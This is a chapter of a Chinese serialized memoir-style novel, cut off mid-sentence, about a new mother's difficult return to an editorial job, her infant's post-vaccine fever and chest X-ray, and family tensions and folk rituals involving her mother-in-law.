默认冷灰
24号文字
方正启体

42. 产后复工难,我跟杨编辑吵架了

作者:流莺飞本书字数:K更新时间:
    1.产后复工难,我跟杨编辑吵架了


    快吃饭的时候,老太太说:“大省,我抱着孩子。你先吃!”


    我说:“你也一起吃吧。别凉了。”


    她说:“我凉点没事。你是产妇人哎。你不能吃凉的。”


    我吃完饭去小房间换老太太吃饭。老太太正抱着孩子坐在床边儿上,背对着衣柜。


    我说:“妈,我来抱孩子,你去吃饭吧。”老太太起来去吃饭了,我就抱起孩子坐在她原来坐着的墩子上。端午也进来了。


    “咦!我怎么觉得那么挤的?你妈刚才坐在这儿一点儿都不挤嘛?”我说。


    “她瘦!”端午笑了一下说。


    “我胖是吗?我不是因为生孩子才胖的嘛?我以前有这么胖吗?我胖说明我消化好!你们消化不好,想胖都胖不起来!你来抱抱孩子,我浑身冒汗!我要去换身衣服!”


    我在小房间抱着孩子,电话响了。是徐主任。


    我说:“徐主任您好!”


    徐主任说:“还在休产假吗?”


    我说:“是的。”


    他说:“你是三月份请的产假吗?”


    我说:“对。因为我是高龄产妇,领导也不放心。就让我从三月份开始请假了。”


    他说:“也就是你产前就请了一个月是吗?”


    我说:“是的。”


    “宋大省,你看这样哈。产假都是从产后算起,四个月。你产前请的一个月,是要扣工资的。你这样吧,你就算是从产后开始请假,你产前请的一个月也算进去,一起算四个月。这样,你就不用扣工资了。”


    我说:“好的,谢谢好领导。”


    他说:“那这样算的话。你的产假到六月就结束了,以后该上班要上班。你自己心里要清楚。”


    我说:“好的。”


    六月底,我给阿杨组长发了信息。


    我说:“阿杨。我的产假快结束了,孩子我也带满了一百天了。我想出去上班。不想在家了。我在家,天天跟婆婆待在一起,精神上压力也大。我都快产后抑郁了。何况,现在的形势很严峻,动不动就要被调走,我更要赶紧出来工作,否则,真地就被搁置了。而且,我没有母乳,我家孩子奶粉、尿不湿,都需要钱,开销太大。我出来上班,也好多挣点钱补贴家用。”


    阿杨说:“你产后,身体还是要修复的,就像刚翻过的地,肯定要好好恢复一下的。我觉得你应该在家好好将养。”


    我说:“我在家,各种压力太大了,上班对我来说,反而是一种放松。而且,孩子有老太太照顾,她照顾地很好,她也支持我上班。我还是想上班。我现在上班,可以直接进稿三阶段。我要是再耽误的话,还要在稿二阶段再磨一年。我不想在稿二阶段。”


    阿杨看了我的信息,显然是不高兴了。


    她用一种很官方的口气回复说:“你要上班,我没有这个能力,你还是跟孙部长说一下吧。”我看了她的信息,感受到了她的压力和冷气。但是我还是坚持我的想法。因为,我在家等,我等不起。


    我把几乎同样的信息发给了孙部长。


    孙部长给我回了电话。


    他说:“大省,你可以上班了是吗?”


    我说:“是的。部长。”


    他说:“你看是这样哈,按理说呢,你产后,应该对你有所照顾的,应该给你减少工作量,让你有更多的时间,可以照顾孩子。但是,今年稿三阶段人手比较短缺。郝跃身体不好。你看看,你能不能多挑一点担子,负责现代文跟文言文这两块。”


    我说:“孙部长,没问题的,我家孩子有我婆婆照顾,只要我能干得动,你给我多少工作量,我都可以。”


    他说:“而且,你工作量多的话,也可以多拿一点津贴嘛。”


    我说:“是的!是的!我们现在养孩子奶粉尿不湿的,可花钱了。”


    孙部长说:“当然喽,我们工作也不能说全是为了钱。”


    我说:“是的!是的!”


    我知道,阿杨不高兴,但是,我管不了那么多了。


    我要上班,要出来喘口气,否则,家里,孩子,婆婆,奶粉、尿不湿,压地我快喘不过气来。我都要濒临抑郁了。


    开工的时候,我就去参加了开工会议。孙部长在开会的时候还特意提到了我。


    “我们马上进入稿三阶段。新的开始,大家都元气满满地,产后的宋编辑也满血复活,准备战斗了!”大家哈哈大笑。


    就这样,我顶着被阿杨不满的压力开始了工作。


    我坐在进门的第一个位子上,郝跃坐在我的右手边第一个位子。我们中间隔着一条通道。


    郝跃说:“我觉得,我想让你来上班,这里有我的私心。你一来,我就轻松了,我身体真地不行了,我的肌酐又升高了,我得保命了。而且,你来了,可以替我分担一些,也可以跟我一起抱团取暖,你不在,她们天天群殴我。但是,你刚生完孩子,又要照顾孩子,又要上班。确实太辛苦了。我觉得我有点对不起你。”


    我说:“没事的,我上班跟你没有一点关系,我能吃苦的。我也喜欢挑战。”


    郝跃说:“这样吧,以后你有什么事,需要换班的,我来帮你。”


    我说:“那太好了。我主要是要请假给小孩打疫苗,我要是临时回不来,你就帮我照看一下。你要是有事,我也帮你。”


    一天上午,阿杨说:“最近要审核几篇新稿件。我来把任务分配一下。郝跃,你来审核两篇现代文。大省,你来审核一篇文言文跟一首诗歌。钱编辑,你来审核两篇现代文。曹编辑跟我审核两篇文言文。许编辑审核两首诗歌。”


    阿杨分配完任务,加重语气恨恨地说:“自己的任务自己完成!谁也没有特殊的照顾!”我心里想,这话是冲着我来的。


    我什么时候要别人照顾过我?我什么时候不是多干,早干?谁不知道我是快手。你说这样的话除了发泄对我的不满,又有什么实际的根据呢。


    阿杨一直对我阴阳怪气的。我知道她不想让我来上班,我不知道她这样做到底是为什么,到底是出于什么原因。唯一的原因,是她不想跟我一个组。可是我要工作,我要养家,我要活命,我也管不了那么多。


    别人对她的话是没有那么紧张的,人家还没有动工。只有我跟郝跃打开电脑开始忙活了起来。


    郝跃跟我一起,边操作电脑边积极地询问她:“阿杨,那个稿件的题材是要最新的吗?”


    我也小心翼翼地跟她确定:“阿杨,我先把文言文那块搞好吗?你今天等着印刷吗?”


    阿杨不耐烦地说:“哎呀,你们两个,讲的时候不好好听,现在又来问我!我哪里知道。我不是跟你们说了很多次了吗?讲的时候好好听啊。你们自己不好好听,不要来问我!我天天睡不好觉,头疼死了!”


    旁边的人都没有动工,都淡定地看着我们挨训。感情,我们两个活该被她训。


    等阿杨出去了。郝跃说:“乖乖,问问都不能问了。”


    我身后的钱编辑说:“不急。凡事再等等,能拖就拖,拖拖也许就不用做了。你看你们那么积极,还要挨训。”


    “上厕所吧?”郝跃说。


    “好的。”我放下手里的事,就跟郝跃一起去上厕所。


    上厕所的时候,是我跟郝跃聊天的时候,也是我们互相倾诉苦闷的时候。


    郝跃说:“你看,她对其他人就不像对我们那样吧?她对人就是这样。对我们跟对其他人,两个面孔。其他人,怎样怼她,她都不生气,我们对她服服帖帖地,她还动不动给我们脸子看。幸好有你陪着我,否则,我就得一个人面对这些。没有人帮我说话。”


    我说:“你说,她怎么对别人那么有耐心的?”


    郝跃说:“人家老公、家庭,都比我们有实力呗。钱编辑两口子都是老员工。跟阿杨差不多一起来的,都十几年的交情了。以前就住在她家楼下。她不是说过吗?以前,钱编辑的孩子在夜里哭都能吵到她家。我们怎么跟她们比。”


    阿杨还是对我复工心有芥蒂。


    一天,大家都在办公室里。


    阿杨说:“你看人家汪萍萍,人家跟你差不多时间生孩子的,人家还在家里休假呢。你就来了。”


    郝跃说:“汪萍萍比大省生地晚。她还是二胎。产假要多一点。”


    阿杨像是没听到似的,她说:“人家就在家休产假,你好。好好的假期不知道享受,非要跑来上班。”


    我说:“徐主任跟我说了,我的产假到期了。我不是三月份就请假了吗?我该来上班了。”


    “你这时候就应该在家休息啊。你孩子那么小,谁让你来上班,就太没有人性了。”阿杨对着门里头坐着的我说着,把门带上,走了。


    我知道她是故意说我没有人性呢。她是说我放着孩子不管,非要来上班,太没有人性呢。可是,我为什么非要来上班呢?原因我不是跟她解释了吗?我来上班难道不是为了孩子吗?我的孩子要吃奶粉,要用尿不湿。新的政策,年年要调动,我这样的,在单位里本来就岌岌可危,我不来上班,领导很快就要把我报废处理了。我就不能就近照顾我的孩子了。


    我憋着这些心事,背着她给我的压力,越想越委屈。我确实是刚生完孩子,刚生完孩子三个多月。面对她给我的压力,我百般解释,都无济于事。她还是不停地敲打我。这几年,我们都承受着要被调动的压力,人人自危,面对她的敲打,我一句话都不敢吭声。我夹着尾巴做人,对她唯唯诺诺,只求一夕安危,让我能够在这儿多呆一年,毕竟这儿是我熟悉的环境,毕竟我在这里工作了十年,毕竟这儿距离我家近一点。毕竟我舍不得买车,我也买不起车。毕竟面对被调走的高压,我没有那么潇洒。


    我绷不住自己的感情,要哭了。


    我跟郝跃说:“郝跃,我出去一下。马上就回来。”


    郝跃说:“好的。”


    我走到办公室外头,阿杨正好要回办公室,她从另一条走廊那里走了过来,看见了我,喊住我说:“大省,马上要开会。”


    我说:“好的,我知道了。我马上就回来。”


    当时是七月份,出门不用签到。我就骑上自行车回到了家。


    一到家,我就躲到厨房的窗户那儿,嚎啕大哭。我确实是产后,确实是情感脆弱。


    我打电话给了小潘,我说:“潘潘,我实在是受不了阿杨了。我积极复工,从单位的层面说,无论怎么样都是好的。为什么,她非但不给我安慰,还要天天敲打我,给我这么大的压力?我不想在家带孩子吗?我如果衣食无忧,我想出来吗?我跟她说了,我什么都跟她说了呀!我家孩子要吃奶粉,我跟婆婆一起很抑郁。现在形势严峻,我不出来,领导就把我闲置起来把我报废了。可是,她根本不听我跟她解释。她还是怪我出来上班。她阴阳怪气地,说我出来上班是我不顾孩子!是我没有人性!为什么我自己的工作我自己做不了主?她为什么那么喜欢左右别人?我连出来上个班都不能吗?”


    小潘说:“她的确是这样的。大省,我理解你。你如果不是太委屈,你不会这样哭的。”


    老太太抱着孩子在客厅里听着我大哭,也不吭声。一家人毕竟是一家人,我也不怕老太太笑话。我知道,关键时刻,她肯定是同情我的。


    我说:“潘潘,我出来上班,又不对她造成任何威胁。我跟她又不是一个级别。她是《小坛》的大姐大,我只是一个菜鸟。我不跟她争名不跟她夺利。她为什么非要抵制我呢?我从刚到《小坛》,就一直受她的气。她跟个慈禧太后似的,她说什么,我都得忍着。她想说谁就说谁。这几年,人人自危,我小心翼翼地夹着尾巴做人,对她唯唯诺诺地。她说甩脸子就甩脸子,想怎么敲打就怎么敲打。我碍了她什么事?她要这样给我压力?我一个产后的人,我受得了吗?”


    小潘说:“大省,你这样,你好好上班,我们自己好好上班,你别管她。”


    我说:“小潘,你千万不要跟她说,否则我就没有活路了。我知道你跟她好。可是我也知道,你为人公正。我也只能跟你说了。周围都是她的人,我还敢跟谁说?我还能跟谁说?我就是有委屈,我也不敢跟她说,她知道我有委屈,她会更加生气,她更给我颜色看。她哪里讲道理。我哭完还得对她咽泪装欢。”


    小潘说:“你放心,我不会跟她说的。”


    我说:“好的,潘潘,谢谢你。拜托你了。千万刀下留人。”


    小潘说:“好的。你放心吧。”


    我擦了擦眼泪又骑车回去上班了。到了办公室,我装作若无其事的样子,坐下来,等着阿杨分配工作。我必须咽泪装欢,委曲求全。


    “大省,你先审一批鉴赏文言文的稿子,再来审一批鉴赏诗歌的稿子吧。”阿杨跟我说。


    “好的!”我用刚才嚎啕大哭过的双眼笑着跟她说。


    过了一阵子,阿杨说:“汪萍萍来上班了,她刚从《且戒》调过来,老黄就让她做骨干了。”


    我身后的钱编辑说:“那是!谁能跟人家比!人家现在是老黄的红人!”


    阿杨说:“马上,老黄还要让她上电视呢,这样一包装,没几年,人家就是名人了。”


    钱编辑说:“你说,她把老黄哄地这么开心,老黄对她这么用心,得花多少钱啊?”


    阿杨说:“那没办法,谁让人家老公开厂,人家有钱呢?”


    我不吭声,我心里想,你不是嫌我那么早来上班吗?人家汪萍萍背后有个有本事的老公,人家还有领导扶持,我能跟人家比吗?


    郝跃说:“谁能跟她比?她老公开厂的,一个标的就是一百万。”


    我忙着电脑里的活儿,不吭声儿。我忙了一阵子,出去接水喝。我在回办公室的时候看到了欧阳杰。


    我说:“欧阳,你今年也在孙部长麾下吗?”


    他很友好地看着我说:“是的。”


    我说:“我们都有十年没见过了吧。见了你还蛮感慨的。”


    他也很诚恳地说:“是的。”


    我说:“真是十年生死两茫茫啊。当年,我们还住单位宿舍,那时候单位宿舍还没翻修,柜子里的木板都发霉了。可是那时候,我们还住地蛮开心的。觉得人家能给我们住就不错了。”


    他说:“是的。后来我女朋友要来了,我想去申请单间,总务处的叶主任还刁难我们。那个破地方,现在谁要住啊。”


    我说:“那时候,有单间的人也不少。他只是不给我们而已。”


    欧阳说:“是的。就我隔壁,人家张编辑一家老小三代都住在那里,人家外头买了房,还是住在那里,节约水电费嘛。人家有的跟领导关系好的,一个人弄几个单间,自己不住,还租出去,对外就说那房客是他的亲戚。可是对我们这样外地来的买不起房的,掐着脖子卡我们。就是不给我们单间。他们这样做事太让人寒心了。”


    我说:“现在我们好歹也有了自己的小家了。你看我,现在又是孩子,又是婆婆。日子鸡飞狗跳的。欧阳,你家是男孩儿还是女孩啊?”


    他说:“还没有呢。”


    我说:“哦,不好意思啊。你知道我的,我不跟他们多说什么。我记得上次在老詹办公室填表的时候,郭翠翠不是问你,快当爸爸了吧?你说快了。我那时候正在闹离婚,我那时候还想呢,就我过得不好。”


    欧阳说:“这十年,我也经历了很多。”


    我说:“是的。十年啊,酸甜苦辣太多了。不管怎样,日子还得过。再怎么样,还得笑对生活。”


    他说:“是的。宋编辑,你有什么烦恼跟我说。我来收拾他们。他们就是欺软怕硬,不给他们点颜色看看不行。”


    我说:“目前还行。谢谢你!到底是同年!老感情还是有的。”


    他说:“那当然!”


    2.宝宝拍胸片,我婆婆害怕辐射,吓跑了


    宝宝百天了,要买件新衣服,我跑到‘孩子王’的店里,给她选了一件红色的小纱裙,宝宝穿上那件红色的小裙子,更显得白白胖胖可可爱爱了。我把她放在床上躺着,给她拍了几张照片,算是她的白天纪念。


    黄社长知道了我生宝宝的事,通过钉钉发信息跟我说:“喜得千金!恭喜恭喜!”


    我赶紧回复他说:“谢谢黄社长!也祝黄社长全家幸福!子孙满堂!”我顺带着发了两张宝宝的百天照给他,他回复说:“宝宝好可爱!”


    我不是一个爱炫娃的人,我在朋友圈里发宝宝的照片不多。但是这一次,我给黄社长发了宝宝的照片,我是有私心的。我知道现在大搞人才流动,如何流动,让谁流动,权力全在黄社长一人手里。我知道我最没有资历和资格,他们让我走,我随时准备着。但是我的宝宝才几个月,我当然想在《小坛》上班,好多照顾她一点,幸运的话,可以多照顾她几年。


    我给黄社长发宝宝的照片,是希望他能看在宝宝的份儿上,对我刀下留人。我祝福他子孙满堂,也是希望他能够对一个产妇和一个乳儿手下留情。听说多做善事少做恶事,可以积福积德。


    宝宝百天的宴席很简单,也是只请了三桌自家亲眷。客人吃饱喝足临走的时候,三三两两地来从门口儿走过,我抱着宝宝跟他们道别。


    他们走过我跟宝宝身旁的时候,有的说:“这个宝宝一看就是端午家的人!”


    有的说:“你看她,睫毛多长噢,像假的一样。”


    宝宝穿着我给她买的红色的小裙子,乖乖地靠在我怀里。


    一个穿着蓝色汗衫的人来到我们身边,端午兴奋地告诉我说:“这是我堂哥。就是那个博士。”


    我们的婚礼上,端午指着对面的一桌子人家说:“我那个堂哥是博士,他们一家子都是学霸,不是博士,就是公务员。”我甩眼看了看,也没看清。现在看清楚这个传说中的博士是谁了,跟端午的爸爸有点像,都是矮个子,大嘴巴,一笑像个大青蛙。


    我说:“噢,你就是传说中的博士啊。跟你比,我们都是学渣。那得赶紧让你抱一下我们的宝宝,沾沾文曲星的好运气。”


    端午的堂哥不好意思地笑笑,他的个子跟端午的爸爸一样,家族遗传式的不高。但是毕竟是博士,看起来还是很稳重。他小心翼翼地接过宝宝,低着头抱着。


    我说:“这回我们也要考博士了。”旁边,不知道是哪家的亲戚笑着说:“超过他!”


    说话间,众人纷纷下楼乘电梯,准备回去了。


    有人说:“你们在青提买的房子啊?”


    我说:“是的。”我也没有说,是我婚前自己买的。我也没有说邀请他们来我家坐坐的话,因为房子太小了,里面堆了孩子的小床,和端午头脑发热买的儿童版的台球桌,已经把本来就不宽裕的客厅堵满了。外面很热,我们也顾不上多说话。就这样匆匆作别。


    宝宝百天以后,我把她抱过来睡,我跟端午夜里关灯睡。宝宝到我房间里,很快就睡着了,睡得很香。我打这以后,就自己带宝宝睡。宝宝两个小时吃一次奶。我夜里频繁地起来冲奶粉,刷奶瓶。我要熬夜劳心费神,可是为了我的宝宝,苦点累点,我也心甘情愿。


    听说前两年,妈妈对宝宝的陪伴很关键。我愿意为她真心的付出,来换来她的依赖和信任。我的宝贝,我为她出钱出力乐此不疲。我不能只出钱不出力,让她完全跟奶奶睡,从而让她跟我疏远跟我不亲。这不行!我不能让这样的事发生!我不能让一个对宝宝很虚的人抢了我在宝宝心目中的位置。


    我在网上看到的,婴儿跟老人睡,对婴儿不好,对老人好,因为婴儿是纯阳之身,而老人血气衰微。盛衰中和,婴儿吃亏,老人赚便宜。我婆婆对迷信那么博古通今,对此事却只字不提,她应该知道吧,她也应该很乐意吧!你休想!就让你的口臭气独自飞扬吧。在阴气最重,浊气最容易入侵清气的月圆之夜,你休想得到我宝宝的任何阳气!我跟我宝宝睡。为她熬白了头,操碎了心,我不后悔!


    夏天,我抱着宝宝,老太太烧饭,热地满头大汗。


    我说:“妈妈,吹吹空调吧。”


    “不吹,怕体内进了冷气。”


    “那洗把脸。凉快凉快!”


    “不能洗,洗脸会把汗毛孔打开,细菌会进去的。”


    我说:“你太惜命,我理解你。我也不想干涉你。可是,你说抱孩子就抱孩子。你脸上密密麻麻的汗珠子跟黄豆似的,那汗水里都是盐碱、尿素,滴在宝宝身上,宝宝那么娇嫩,她受得了吗。你怕细菌进到你的毛孔里,你汗里的盐和尿素里也是细菌啊。天热,把自己的臭汗洗掉,又凉快又清爽,你怎么那么舍不得呢?”


    老太太听了我的话,这才不情愿地走到水龙头那里去洗了洗脸。


    八月份的时候,宝宝打了十三价肺炎疫苗,听说打了十三价肺炎疫苗容易高烧,我就有点担心。家里准备了两个体温枪。打完疫苗半天无事。因为夜里热,不能不开空调,又不敢开低。我把空调开到三十度,宝宝还是热地出汗,出的汗把凉席都湿透了。我每次醒来,都要把她抱起来挪个窝儿,从这头抱到那头,如此反复,那时候她还不太会动。还比较放心。我跟她睡,又挤又热。就让她自己睡床头,我睡床尾。


    当天夜里,十二点钟的时候,我睡意朦胧中,看到两个人影儿到了我的房间,直奔宝宝而去。我不是迷信也不是装神弄鬼,我真地是在梦中看到了。我在梦中想奋力张嘴冲那两个黑影大骂。可我张不开嘴。我又气又急,被憋醒了。我听见宝宝在哭,我打开灯,宝宝抱着头在床上翻动,嘴里往外冒着白沫,眼睛看着我,向我求助。我知道宝宝发烧了,体温枪一测,38度5。我早就知道宝宝会高烧,早就担心不知如何应对。就想着一旦发烧,第一时间就打120去医院。


    今天,我是第一次经历宝宝高烧,如临大敌,慌乱不已。端午刚好那天回了老家。宝宝身上热,我不能抱她。就喊老太太。她赶忙出来。我把宝宝身上粉色带花儿的小裙子脱下来,给她降温,再让老太太给她喂水。我去打120。


    我说:“喂!我家宝宝高烧了,麻烦你们赶紧来接一下吧。”


    接线员说:“好的,我们马上就到。你让宝宝侧躺,不要让她嘴里的异物堵住了喉咙。”


    “好的。”我说。我一一照做。趁着120赶来的时间,我赶紧准备奶粉、尿不湿,和水杯,然后抱着宝宝下楼等。120车子一到,我们就上了车。宝宝一上车就不哭了,好奇地看着医生,意识很清醒。我也放心了很多。


    到了医院,急诊的医生接待了我们,给宝宝撬开嘴巴,看舌头,量体温。旁边,站着别人家的宝宝,宝宝的爸爸和爷爷。而我们,是老太太、我跟宝宝,老中青三代女性。医生开了小儿豉翘颗粒,和对乙酰氨基酚。我打开水杯子,给宝宝吃药喝水。她那时候还不知道抗议,不知道拒绝吃药,乖乖地吃了药,我们才回去。


    第三天,我不放心,宝宝也开始咳嗽。我就跟老太太一起打车再去医院。儿科的医生说,宝宝咳嗽不知道是不是肺炎,让我们去拍个胸片。我对宝宝拍胸片也有点害怕,我怕宝宝太小,不知道拍胸片对她有没有危害。打电话问了郝跃,她说该检查就得检查。她还给宝宝拍过CT呢。


    我就满腹狐疑地拿着单子,跟老太太一起抱着宝宝去了胸片室。里面负责拍片的医生有五十岁左右,他大概眼盲,说是没有到我的号,让我出去。我看了一下化验单,说没错,是我啊。他觉得我不听他的,怎么还不走,就在嘴里骂着“妈的!”他以为我听不到,其实我听地清清楚楚,要不是宝宝要找他拍片,我恨不得去跟他大吵一架。没办法,他是医生,还是宝宝的医生。我还是得跟他客气。其实我现在有点后悔,素质这么差的老头子,我当时为什么不去跟他理论,或者换家医院。


    我就出去重新看了号,确定是我。再回来跟他说。他自己也又看了一遍,知道我是对的。他就走出来,开始给宝宝拍片。宝宝太小,不会站立,得躺下来。宝宝那么小,一个四格的光影打下来,就几乎罩着她全部的身体了。那光影打在她的脸上,我很是心疼,巴不得自己可以代替她。老太太扶着她的腿,我就紧贴着宝宝站在旁边,还要安抚宝宝:“宝宝听话啊,你看医生多好啊!”我其实也是跟医生客气,想让他好好给宝宝拍片,不要使坏。


    拍片即将开始,我心疼地看着宝宝。


    这时,老太太开始颤抖了,她按着宝宝双腿的双手在急着撤离。


    她抖动着牙齿和胳膊说:“我不能扶!”她吓地腺样体面容失色了!她害怕被辐射!那我来扶。我去扶着宝宝的腿。


    老太太终于可以解脱了。她得胜似地要踱出去了!她的儿媳妇还在胸片室,她的四个月的孙女还躺在拍片的机器上。精明的老太太准备及时抽身撤离啦!她转过头,一步步朝胸片室门口走去!快了!再有一步就脱离这个危险的地方了!


    可是,很不幸,医生喝住了她:“你扶着她的头!”


    医生让她扶着她孙女的头!


    老太太又吓地魂飞魄散,恢复了惶恐的腺样体面容,一步一步退回来。伸开长长的猿臂,像蹲马步一样,远远地扶着宝宝的头,她的上身紧张地压下去,与地面保持平行。她的脑袋努力往后拗过去拗过去,拗到脑袋与屁股齐飞。这个奶奶躲避着宝宝,像千年的狐狸不小心来到老虎的屁股后头,她伏在老虎的屁股后头,瑟瑟发抖。


    可她只是拍个胸片而已啊!我的亲娘啊,你至于吗?


    很快就拍完了。我去取了胸片,可怜宝宝太小,那张胸片拍到了她的前胸,也拍到了她的大半边脸。


    我很心疼。不想给老太太看,她胆小如鼠,毫无大义可言。关键时刻,她竟然抱头鼠窜!让我深为鄙视。且不说胸片对人体辐射不大,就是大,你一个六十多的大人,又能怎么样。她才四个月啊,你个六十多的老太太都害怕,你孙女就不害怕吗?你竟然能抖机灵临阵脱逃啊!你为了惜你的老命,你连脸面都不顾了!你在儿媳妇面前人格何在!你在儿媳妇面前尊严何存!


    不要说是亲奶奶啊,就是一个过路的,人家孩子要拍个胸片,让我帮忙扶助,我也会欣然应允,我也断不会跑掉啊!不要说是胸片,就是CT,就是核磁共振,人家让我帮个忙,我也会去帮!


    海水不可斗量,但是人绝对可以貌相。我婆婆生就了小头小脑小眯缝眼,檐牙高啄,有时做的事,让人惊为非人!


    我出来以后就禁不住生气了。我问她:“医生让你扶宝宝,你急着跑出来干什么,你就那么怕死吗?”


    她纤声细气、咿咿呀呀地说:“我怕我耳朵上戴的金器,影响拍片子!”


    我跟程云说了这事儿。


    程云说:“你看看,多会找借口。怕影响拍片子,医生不知道啊。医生说影响了没有?她在旁边,又不拍她,影响个屁啊。”


    我跟端午说:“宝宝拍胸片,你妈居然吓跑了。她怕辐射她。”


    端午说:“没事儿,能减轻一个人的伤害,就减轻一个人的伤害!”


    我说:“你说的这叫人话吗?她四个月的孙女不怕,她四十岁的儿媳妇不怕,就她六十岁的老太太怕辐射!就她怕伤害!无能鼠辈!抱头鼠窜!一点都没有大义凛然。怎么让人尊敬!”


    人说要敬老要尊老。可是多少老人是干了坏事,自己还有理的,有些人,年纪大了,饱经风霜,那颗心早就刀枪不入,也不在乎什么是非美丑了。她能把儿媳妇气死,你想气她,她可是毫不在乎。


    我去超市买东西,排队的时候,老年人一个一个地泰然自若地加塞,毫不客气。七老八十的老婆婆,拿起一块油饼就放在鼻子底下闻。


    售货员义正言辞、头头是道地大声训斥:“不要闻!你闻了,别人还怎么吃?现在是新社会,年纪大了,也要与时俱进,也要考虑别人!”


    那售货员说完,看我一眼。我在旁边听着,以为那老太太七老八十,经此训斥,定是面红耳赤,颜面荡然无存。


    没想到,老人家“呵呵”一笑,毫不在乎。


    我去买青菜,拿个小塑料袋子别别扭扭地装菜,身后的售货员大声喊我:“美女!这里有大袋子!没办法,我们不敢放出来,放出来,她们成卷成卷地拿走,还跟我们杠!”有的人,年纪大了,自尊心也淡了,自律心、同理心也所剩无几。年轻人还在乎公德脸面,她们对年轻人可是毫不客气。


    宝宝后来不怎么高烧了,就是咳嗽,我在家给她喝药,观察。我想想她发烧那天夜里,那天半夜的时候,那两个黑影儿。我就给我远在山东的大姨打了电话。


    我说:“大姨,我家宝宝不是三个多月了嘛。她那天打了十三价肺炎疫苗,到了夜里就发烧了。高烧38.5。按说宝宝发烧也正常。但是,就在她发烧的那天半夜,我睡梦中看到两个黑影儿到了我们房间,直奔宝宝过去了。当时我就想骂的,可是张不开嘴,一急就急醒了。我赶紧爬过去看宝宝,宝宝正抱着头,口吐白沫,冲着我哭叫,让我救她呢。我一看表,正好是半夜12点。我赶紧打了120,带她去医院了。她这几天也好了。但我觉得那天夜里,我睡梦中看到的黑影有点蹊跷。你给她算算吧。”


    我大姨说:“你看看,一百天左右,人家就来找她麻烦了。你去买三十八根香,晚上等孩子睡觉了,你去点上,打开西北面的窗户,你就说‘恁谁来打短儿的,恁认识俺山东大姨她老师吧。恁要是认识俺山东大姨,恁赶紧走。俺该怎么打送就怎么打送。’”


    我听了大姨的话,赶紧骑着自行车四处去问着给我的宝宝买香。终于,在一家喜糖铺子里买到了。我带回家,到超市里买了粮食。到了晚上,老太太带着宝宝睡觉了。我在房间里,小心翼翼地点上三十八根香,放在一个铁碗里,里面盛着满满的红豆、绿豆。


    我对着西北面的窗户跪下,我说:“恁认识俺山东大姨她老师吧,恁要是认识的话,恁赶紧走。俺该怎么打送就怎么打送。”我跪在地上,认认真真地磕头,为我的孩子祈求平安。说实话,我怕鬼,但我不是很相信鬼神,但是为了我的孩子,我是平生第一次开始迷信了。


    接下来的中元节,我第一次买了火纸,在我家附近路边上烧了,烧给我爷爷和我爸爸。我说:“这么多年,恁也知道,我妈妈带着俺姊妹几个也是千辛万苦,我也是颠沛流离,确实没有办法祭悼你们。恁要保佑恁的孙子健健康康、平平安安。”


    我给宝宝找人算了命。花了五十块钱。算命的说:“四岁之前防摔防烫。宝宝虽然是个女孩,但是以后比男孩还要中用。”


    我说:“好的。谢谢先生金口玉言。”


    我又问算命的先生:“老太太说,宝宝属虎,她爸爸属猴,她跟她爸爸属相相冲。您说,她们属相相冲吗?”


    算命的说:“她是胡说八道的,虎和猴哪里相冲。她是属虎的,那你给她找个属猪的干妈。”


    我说:“那行,回头我去问问。”


    我打电话给程云:“程云,你是属猪的嘛?”


    她说:“我不是属猪的,我要是属猪的就好了。我73年,属牛的。你怎么突然问我属什么的?”


    我说:“我宝宝不是最近发高烧吗,我又打120,又带她拍胸片的。我给她找人算了一卦。算命先生说,要我给她找个属猪的干妈。”


    程云说:“现在很多人都不愿意给别人的小孩儿做干妈了,说是对人家自己的孩子不好。认别人的孩子做干儿子干女儿,会占自己的孩子一个位置。”


    我说:“那行,回头我去问问。我记得我妈妈说过,也可以找个石桥做干妈。”


    程云说:“是的。也可以找个石桥当干妈的。那样对谁都没有影响。”


    星期天,我抱着孩子去广场上玩的时候,看见了物业经理敏姐。她大老远就跟我打招呼说:“宋编辑,你带着宝宝玩的?”


    我说:“是的,敏姐。”


    她说:“你看你家宝宝长得跟她爸爸多像啊,简直一摸一样。你别说哈,你家宝宝蛮可爱的。她奶奶呢?”


    我说:“她回老家了。周末只要有时间就让她回老家休息。夜里我带,白天我上班,她带。”


    她说:“夜里带孩子辛苦的,你看你白头发,多少了。”


    我说:“她爸爸又不管,全是我。夜里换好几回尿不湿,想上厕所都不安稳。这边上厕所,那边孩子哭了,得赶紧回来抱孩子。我现在都会抱着孩子上厕所了。”


    她说:“都是这样过来的。你看我,我也是,头发都白了,我买的假发戴的。你也可以买个假发戴戴。”


    我说:“我嫌麻烦,现在孩子小,我根本没有心情收拾自己。孩子能好好的,不生病,我就万事大吉了。就怕她生病,我得带着她跑医院。要是上班的时候还得请假,那才叫崩溃。”


    她说:“小孩儿小,抵抗力弱,有个头疼脑热的很正常。”


    我说:“她前几天夜里发烧,我慌了,不知道该怎么办,直接打的120。可能是打疫苗打的。后来,我找人给她算命,算命的说,要给她找个属猪的干妈。我问了好几个人,都不是属猪的。”


    敏姐说:“我妹妹是属猪的,回头我跟她说说。她上回才来青提,我不知道你这事儿,否则我就喊你来了。等她下次来,我再喊你。”


    我说:“谢谢你,敏姐。我听说认干妈对干妈不好。我打算给她找个石桥当干妈。她爸爸老家就有一座石桥,我们回她爸爸老家的时候就可以去认干妈了。”


    她说:“那也行。”


    我说:“谢谢你,敏姐。我有什么事,你都是真心地帮我。我在这儿无亲无故的,多亏了你帮我了。”


    她说:“没事儿,你有事儿跟我说。”


    我说:“好的,敏姐。”


    只要是为了孩子,该讲迷信得讲迷信,该相信科学还是得相信科学。宝宝打疫苗,全是我请假去。老太太抱孩子。我去跑前跑后,排队,付款。


    过了几天,老太太问我要棉签。她的耳朵出血了。


    晚上,端午下班回来。我说:“你妈耳朵有问题,你带她去看看吧。”


    老太太不愿意去。她的意思很明确。我们宝宝每个月奶粉三千,尿不湿一千,打疫苗近一千,各种费用加起来,一个月四五千。我们目前养孩子压力大。她都不管。她自己有个小病小灾,她也不要我们管。她现在不管孙子,她也不找我们,这样两清了。她如果找我们,那她怎么好意思以后不管孙子呢。她管孙子,她怎么舍得钱呢。宝宝要花多少钱,她自己有个小毛病才花几个钱,她算的是这笔账。


    “我社保卡里还有万把块钱呢!”她说,“就是没带!”


    我说:“没事儿的。让端午付钱吧。赶紧去看看。”端午吃完饭带她去了。


    回来以后,端午说:“医生从我妈耳


